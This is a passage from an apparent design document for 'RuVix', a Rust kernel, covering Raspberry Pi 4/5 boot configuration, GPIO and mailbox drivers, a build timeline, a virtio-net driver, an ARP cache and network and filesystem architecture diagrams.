Load device tree (bcm2711-rpi-4-b.dtb) to memory \u2502\n\u2502 6. Release ARM cores with DTB address in x0 \u2502\n\u2502 \u2502\n\u2502 STAGE 2: RuVix Entry (kernel8.img) \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 1. _start at 0x80000 (or address from config.txt) \u2502\n\u2502 2. Parse DTB to discover hardware \u2502\n\u2502 3. Initialize UART for early console \u2502\n\u2502 4. Continue standard RuVix boot sequence \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### config.txt Configuration\n\n```ini\n# /boot/config.txt for RuVix on Raspberry Pi 4/5\n\n# Enable 64-bit mode\narm_64bit=1\n\n# Kernel filename\nkernel=ruvix-kernel8.img\n\n# Enable UART for early console\nenable_uart=1\n\n# Disable Bluetooth to free up PL011 UART\ndtoverlay=disable-bt\n\n# Fixed kernel load address\nkernel_address=0x80000\n\n# Pass DTB to kernel\ndevice_tree=bcm2711-rpi-4-b.dtb\n\n# Disable GPU boot splash\ndisable_splash=1\n\n# Minimum GPU memory (more for kernel)\ngpu_mem=16\n\n# For Pi 5: use correct kernel name\n[pi5]\nkernel=ruvix-kernel_2712.img\ndevice_tree=bcm2712-rpi-5-b.dtb\n```\n\n### D.4 BCM2711/2712 Drivers\n\n#### GPIO Driver\n\n```rust\n// ruvix-bcm2711/src/gpio.rs\n\nconst GPIO_BASE_PI4: usize = 0xFE20_0000;\nconst GPIO_BASE_PI5: usize = 0x1F00_00D0_0000;\n\npub struct BcmGpio {\n base: *mut u32,\n}\n\nimpl BcmGpio {\n pub fn new(platform: Platform) -> Self {\n let base = match platform {\n Platform::Pi4 => GPIO_BASE_PI4,\n Platform::Pi5 => GPIO_BASE_PI5,\n } as *mut u32;\n\n Self { base }\n }\n\n /// Set pin function (input, output, alt0-5)\n pub fn set_function(&self, pin: u8, function: GpioFunction) {\n let reg = (pin / 10) as usize;\n let shift = ((pin % 10) * 3) as u32;\n\n unsafe {\n let ptr = self.base.add(reg); // GPFSEL0-5\n let mut val = ptr.read_volatile();\n val &= !(0b111 << shift);\n val |= (function as u32) << shift;\n ptr.write_volatile(val);\n }\n }\n\n /// Set output pin high/low\n pub fn set(&self, pin: u8, high: bool) {\n let reg = if high { 7 } else { 10 }; // GPSET0 or GPCLR0\n let offset = (pin / 32) as usize;\n let bit = 1u32 << (pin % 32);\n\n unsafe {\n self.base.add(reg + offset).write_volatile(bit);\n }\n }\n\n /// Read input pin level\n pub fn read(&self, pin: u8) -> bool {\n let offset = (pin / 32) as usize;\n let bit = 1u32 << (pin % 32);\n\n unsafe {\n (self.base.add(13 + offset).read_volatile() & bit) != 0\n }\n }\n}\n\n#[repr(u32)]\npub enum GpioFunction {\n Input = 0b000,\n Output = 0b001,\n Alt0 = 0b100,\n Alt1 = 0b101,\n Alt2 = 0b110,\n Alt3 = 0b111,\n Alt4 = 0b011,\n Alt5 = 0b010,\n}\n```\n\n#### VideoCore Mailbox\n\n```rust\n// ruvix-bcm2711/src/mailbox.rs\n\nconst MAILBOX_BASE_PI4: usize = 0xFE00_B880;\n\n/// Property tag IDs for VideoCore communication\npub mod tags {\n pub const GET_BOARD_REVISION: u32 = 0x0001_0002;\n pub const GET_ARM_MEMORY: u32 = 0x0001_0005;\n pub const GET_VC_MEMORY: u32 = 0x0001_0006;\n pub const SET_POWER_STATE: u32 = 0x0002_8001;\n pub const GET_CLOCK_RATE: u32 = 0x0003_0002;\n pub const SET_CLOCK_RATE: u32 = 0x0003_8002;\n}\n\npub struct Mailbox {\n base: *mut u32,\n}\n\nimpl Mailbox {\n /// Send a property tag request to VideoCore\n pub fn call(&self, channel: u8, message: &mut PropertyMessage) -> Result<(), MailboxError> {\n // Ensure 16-byte alignment\n let ptr = message as *mut _ as usize;\n assert!(ptr & 0xF == 0, \"Mailbox message must be 16-byte aligned\");\n\n // Wait for mailbox to be ready\n while self.status() & MAILBOX_FULL != 0 {\n core::hint::spin_loop();\n }\n\n // Write message address (with channel in low 4 bits)\n let value = (ptr as u32) | (channel as u32);\n unsafe {\n self.base.add(8).write_volatile(value); // WRITE register\n }\n\n // Wait for response\n loop {\n while self.status() & MAILBOX_EMPTY != 0 {\n core::hint::spin_loop();\n }\n\n let response = unsafe { self.base.read_volatile() }; // READ register\n if response & 0xF == channel as u32 {\n break;\n }\n }\n\n // Check response code\n if message.code == MAILBOX_RESPONSE_SUCCESS {\n Ok(())\n } else {\n Err(MailboxError::ResponseFailed)\n }\n }\n}\n```\n\n### D.5 Build Path (Weeks 55-62)\n\n| Week | Milestone | Deliverables | Tests |\n|------|-----------|--------------|-------|\n| **55-56** | RPi boot stub | Linker script, kernel8.img generation, UART output | Boot to console on Pi 4 |\n| **57-58** | GPIO driver | BCM GPIO, LED blink, button input | GPIO functional tests |\n| **59-60** | VideoCore mailbox | Property tags, memory query, clock control | Query board info |\n| **61-62** | Pi 5 port | BCM2712 addresses, GICv3, RP1 | Boot on Pi 5 hardware |\n\n---\n\n## Phase E: Networking and Filesystem\n\n### E.1 Network Stack Architecture\n\nPhase E implements a minimal network stack optimized for agentic workloads: high-throughput, low-latency vector streaming and RVF package distribution.\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 NETWORK STACK ARCHITECTURE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 RVF COMPONENT SPACE \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 AgentDB \u2502 \u2502 RVF Package \u2502 \u2502 Mesh Coordinator \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 Replication \u2502 \u2502 Distributor \u2502 \u2502 (Demo 5) \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 queue \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 ruvix-net (RVF component) \u2502 \u2502\n\u2502 \u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 SOCKET LAYER \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 UdpSocket \u2502 TcpListener (future) \u2502 RawSocket \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 TRANSPORT LAYER \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 UDP \u2502 ICMP \u2502 (TCP future) \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 NETWORK LAYER (IPv4) \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 IP Header \u2502 Routing Table \u2502 ICMP Echo/Reply \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 LINK LAYER \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 ARP Cache \u2502 Ethernet Frame \u2502 MAC Address \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 queue_send/recv \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 KERNEL \u2502 \u2502 \u2502\n\u2502 \u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 NETWORK DEVICE DRIVER \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 virtio-net (QEMU) \u2502 bcmgenet (Pi4) \u2502 RP1 (Pi5) \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### virtio-net Driver\n\n```rust\n// ruvix-drivers/src/virtio_net.rs\n\nconst VIRTIO_NET_F_MAC: u64 = 1 << 5;\nconst VIRTIO_NET_F_MRG_RXBUF: u64 = 1 << 15;\n\npub struct VirtioNet {\n common: VirtioCommon,\n rx_queue: VirtQueue,\n tx_queue: VirtQueue,\n mac_address: [u8; 6],\n}\n\nimpl VirtioNet {\n pub fn init(base: *mut u8) -> Result<Self, VirtioError> {\n let common = VirtioCommon::new(base)?;\n\n // Negotiate features\n let features = common.read_features();\n let negotiated = features & (VIRTIO_NET_F_MAC | VIRTIO_NET_F_MRG_RXBUF);\n common.write_features(negotiated);\n\n // Initialize virtqueues\n let rx_queue = VirtQueue::new(&common, 0, 256)?; // Queue 0 = RX\n let tx_queue = VirtQueue::new(&common, 1, 256)?; // Queue 1 = TX\n\n // Read MAC address\n let mut mac = [0u8; 6];\n for i in 0..6 {\n mac[i] = common.read_config(i);\n }\n\n common.set_driver_ok();\n\n Ok(Self { common, rx_queue, tx_queue, mac_address: mac })\n }\n\n /// Receive a packet (DMA zero-copy into queue buffer)\n pub fn receive(&mut self, buffer: &mut [u8]) -> Result<usize, NetError> {\n let desc_id = self.rx_queue.pop_used()?;\n let len = self.rx_queue.get_used_len(desc_id);\n\n // Copy from virtqueue buffer to caller's buffer\n self.rx_queue.read_buffer(desc_id, buffer)?;\n\n // Recycle the descriptor\n self.rx_queue.add_available(desc_id);\n\n Ok(len)\n }\n\n /// Transmit a packet\n pub fn transmit(&mut self, packet: &[u8]) -> Result<(), NetError> {\n let desc_id = self.tx_queue.alloc_descriptor()?;\n\n self.tx_queue.write_buffer(desc_id, packet)?;\n self.tx_queue.add_available(desc_id);\n self.tx_queue.notify();\n\n Ok(())\n }\n}\n```\n\n#### ARP Cache\n\n```rust\n// ruvix-net/src/arp.rs\n\npub struct ArpCache {\n entries: [Option<ArpEntry>; 64],\n pending: [Option<ArpPending>; 16],\n}\n\npub struct ArpEntry {\n ip: Ipv4Addr,\n mac: [u8; 6],\n expires: Instant,\n}\n\nimpl ArpCache {\n pub fn lookup(&self, ip: Ipv4Addr) -> Option<[u8; 6]> {\n self.entries.iter()\n .flatten()\n .find(|e| e.ip == ip && e.expires > Instant::now())\n .map(|e| e.mac)\n }\n\n pub fn insert(&mut self, ip: Ipv4Addr, mac: [u8; 6]) {\n let entry = ArpEntry {\n ip,\n mac,\n expires: Instant::now() + Duration::from_secs(300),\n };\n\n // Find empty slot or oldest entry\n let slot = self.entries.iter_mut()\n .enumerate()\n .min_by_key(|(_, e)| e.as_ref().map(|e| e.expires))\n .map(|(i, _)| i)\n .unwrap();\n\n self.entries[slot] = Some(entry);\n }\n}\n```\n\n### E.2 Filesystem Architecture\n\nRuVix implements a minimal VFS layer optimized for RVF package storage and retrieval, not general-purpose file operations.\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 FILESYSTEM ARCHITECTURE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 VFS LAYER \u2502 \u2502\n\u2502 \u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 open(path) \u2192 FileHandle read(fh, buf) \u2192 usize \u2502 \u2502\n\u2502 \u2502 close(fh) write(fh, buf) \u2192 usize (limited) \u2502 \u2502\n\u2502 \u2502 stat(path) \u2192 Metadata readdir(path) \u2192 [DirEntry] \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u25bc \u25bc \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 FAT32 \u2502 \u2502 RamFS \u2502 \u2502 (Future) \u2502 \u2502\n\u2502 \u2502 (read-only)\u2502 \u2502 /tmp \u2502 \u2502 ext4 \u2502 \u2502\n\u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502\n\u2502 \u2502 SD card \u2502 \u2502 Kernel heap \u2502 \u2502 NVMe/USB \u2502 \u2502\n\u2502 \u2502 boot part. \u2502 \u2502 regions \u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 Mount points: \u2502\n\u2502 /boot \u2192 FAT32 (SD card boot partition, RVF packages) \u2502\n\u2502 /tmp \u2192 RamFS (temporary files, checkpoints) \u2502\n\u2502 /rvf \u2192 Virtual (mounted RVF component namespaces) \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### VFS Layer\n\n```rust\n// 